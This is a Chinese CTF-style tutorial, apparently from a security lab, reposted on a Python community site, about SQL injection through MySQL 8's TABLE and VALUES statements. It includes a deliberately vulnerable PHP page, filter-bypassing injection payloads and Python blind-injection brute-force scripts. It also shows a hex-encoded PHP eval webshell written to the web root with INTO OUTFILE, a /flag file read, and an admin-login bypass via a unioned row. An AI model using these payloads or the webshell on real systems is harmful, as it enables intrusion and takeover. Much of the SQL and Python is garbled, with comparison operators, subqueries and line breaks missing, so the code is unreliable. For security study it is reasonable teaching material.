社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

一篇文章弄懂mysql8新特性注入

合天网安实验室 • 3 年前 • 844 次点击  







前言


最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习









环境搭建


我这里是用docker在服务器上拉的,然后用navicat来看的

下载

docker pull mysql:8.0.21
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21

进入mysql容器,并登陆mysql

docker exec -it mysql8 bash
mysql -uroot -p//然后输入密码

开启远程访问权限

use mysql;
select host,user from user;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
flush privileges;



连进去看看版本号就可以了,如果是8.0.21则环境搭建完成

 










基础知识


本次测试所用到的user表内容如下


table

基本用法

在MYSQL8以后出现的新语法,作用和select类似。

作用:列出表中全部内容
语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]



支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

table user order by 2table user limit 2

与SELECT的区别:

1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

注意事项

比较问题1
(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)
结果TABLESOACE_NAMEtmp/user

这里用小于号进行比较

select (('u','')
返回值:0
select (('s','')
返回值:1
select (('t','')
返回值:1

综上可以看出来如果是u的,其ascii 编码大于t 的,得到的是1。

但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。

所以在进行注入中注意要把得到的数ascii值减1。

比较问题2

来看下面的两个例子

select (('tmp/use','')
返回值:1
select (('tmp/user','')
返回值:NULL
select (('tmp/uses','')
返回值:0

所以这里在判断最后一位是,要注意这里记得到取0之前的值。

整数比较问题
table user limit 0,1
返回值:1 hel

看下面的例子

select (('0',2)
返回值:1
select (('1',2)
返回值:0
select (('2',2)
返回值:0
select (('0aaaa',2)table user limit 0,1))
返回值:1
select (('1aaaa',2)
返回值:0

在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。

VALUES

VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。 

作用:列出一行的值
语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...]value_list: value[, value][, ...]column_designator: column_index

他的语法看起来很长,但用起来很简洁。

基本使用

VALUES ROW(1,2)VALUES ROW(1,2,3)VALUES ROW(1,2,3),ROW(5,6,7)

配合union使用

VALUES ROW(1, 2) union select * from userselect * from user union VALUES ROW(1, 2)

information_schema.TABLESPACES_EXTENSIONS

我们可以通过这个表去查询所有数据库中的数据库和数据表

table information_schema.TABLESPACES_EXTENSIONS等价于select * from information_schema.TABLESPACES_EXTENSIONS



在这里我也列出几个和他相同功能的函数

information_schema.SCHEMA information_schema.TABLESinformation.COLUMNSmysql.innodb_table_statsmysql.innodb_index_statssys.schema_tables_with_full_table_scans









实战演练

基础练习

index.php

// error_reporting(0);require_once('config.php');highlight_file(__FILE__);$id = isset($_POST['id'])? $_POST['id'] : 1;if (preg_match("/(select|and|or| )/i",$id) == 1){   die("MySQL version: ".$conn->server_info);}$data = $conn->query("SELECT username from users where id = $id");foreach ($data as $users){   var_dump($users['username']);}?>

config.php

// config.php$dbhost = 'ip';       // mysql服务器主机地址$dbuser = 'root';           // mysql用户名$dbpass = '123456';          // mysql用户名密码$dbname = 'user';         // mysql数据库$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);?>

数据库信息

 


输入id会返回数据库的值



这里过滤了几个字符,尝试绕过并报出数据库




    
id=0%09union%09values%09row(database())

爆字段

如果字段数多了或者少了会报错


得到字段数

id=0%09||('1','')//有回显id=0%09||('2','')//无回显

然后去爆破值

select ('1','a')//有回显select ('1','r')//有回显id=0%09||('1','s')//这里就可以得到第一个值,然后继续爆
id=0%09||('1','roos')//有回显id=0%09||('1','root')//无回显

到这里记得在最后一个值加上1,这样就可以得到数据库的值

脚本

import requests
def ord2hex(string):result = ""for i in string: r = hex(ord(i)); r = r.replace('0x','') result = result+rreturn '0x'+result
tables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ""for i in range(0,50):for j in range(110,122):data = {'id':"0/**/||('1','%s')}r = requests.post('http://127.0.0.1/index.php',data=data);print(data)if 'string(4)' in r.text:continueelse:flag = flag +chr(j-1)print(flag)breakif(len(flag)breakprint(flag[:-1]+chr(ord(flag[-1:])+1))

写文件

除了上面的方法还可以通过读写来getshell

查看是否有权限写入文件

id=0/**/union/**/values/**/row(user())id=0/**/union/**/values/**/row(@@secure_file_priv)

如果有,则可以通过下面的语句写入

id=0/**/union/**/values/**/row(load_file('/flag'))
id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e)/**/into/**/outfile/**/'/var/www/html/shell.php'
//

香山杯---login

这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。

描述

题目内容:只是一个简单的登录框,登录就有flag。
hint: mysql8新特性:values的利用

解题过程

进去就一个登陆框,直接抓包看看

发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵

简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。

这里还可以用||来进行拼接。

测试,发现这样就可以进行注入。

username=123' || 1=1#&password=456&login=login

脚本

import requests
flag=''i=0while True:small=32big=127i=i+1while smallmid=small+big>>1data={'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",'password':'1',}r=requests.post('http://eci-2ze6yq2cnbmcsh0tfry6.cloudeci1.ichunqiu.com/',data=data)if '密码错误' in r.text:small=mid+1else:big=midif(i>4):breakelse:print(chr(small))flag+=chr(small)
print(flag)

通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。

import requests

def ord2hex(string):result = ""for i in string: r = hex(ord(i)); r = r.replace('0x','') result = result+rreturn '0x'+result
tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'flag = ""for i in range(0,50):for j in range(48,122): data = { # 'username':"a0'||(('1','admin','%s') #'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)), # username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login 'password':'',} r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data); if '用户名不存在' in r.text: flag = flag +chr(j-1) print(flag) break

上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。

本题就用union去生成了一个新的values来进行绕过。

username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login

登录进去就有flag了。









环境搭建问题


如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以)

就添加这两行

bind-address = 0.0.0.0default_authentication_plugin=mysql_native_password

完整的代码

# Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.## This program is free software; you can redistribute it and/or modify# it under the terms of the GNU General Public License as published by# the Free Software Foundation; version 2 of the License.## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.## You should have received a copy of the GNU General Public License# along with this program; if not, write to the Free Software# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
## The MySQL Server configuration file.## For explanations see# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
[mysqld]pid-file = /var/run/mysqld/mysqld.pidsocket = /var/run/mysqld/mysqld.sockdatadir = /var/lib/mysqlsecure-file-priv= NULL
bind-address = 0.0.0.0default_authentication_plugin=mysql_native_password
# Custom config should go here


参考文章

http://www.jzpc.com.cn/jq/185709.html

https://www.actionsky.com/2777.html

https://blog.csdn.net/HBohan/article/details/119757059



实操推荐:https://www.hetianlab.com/pages/CTFLaboratory.jsp


“阅读原文”体验免费靶场!
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/122984
 
844 次点击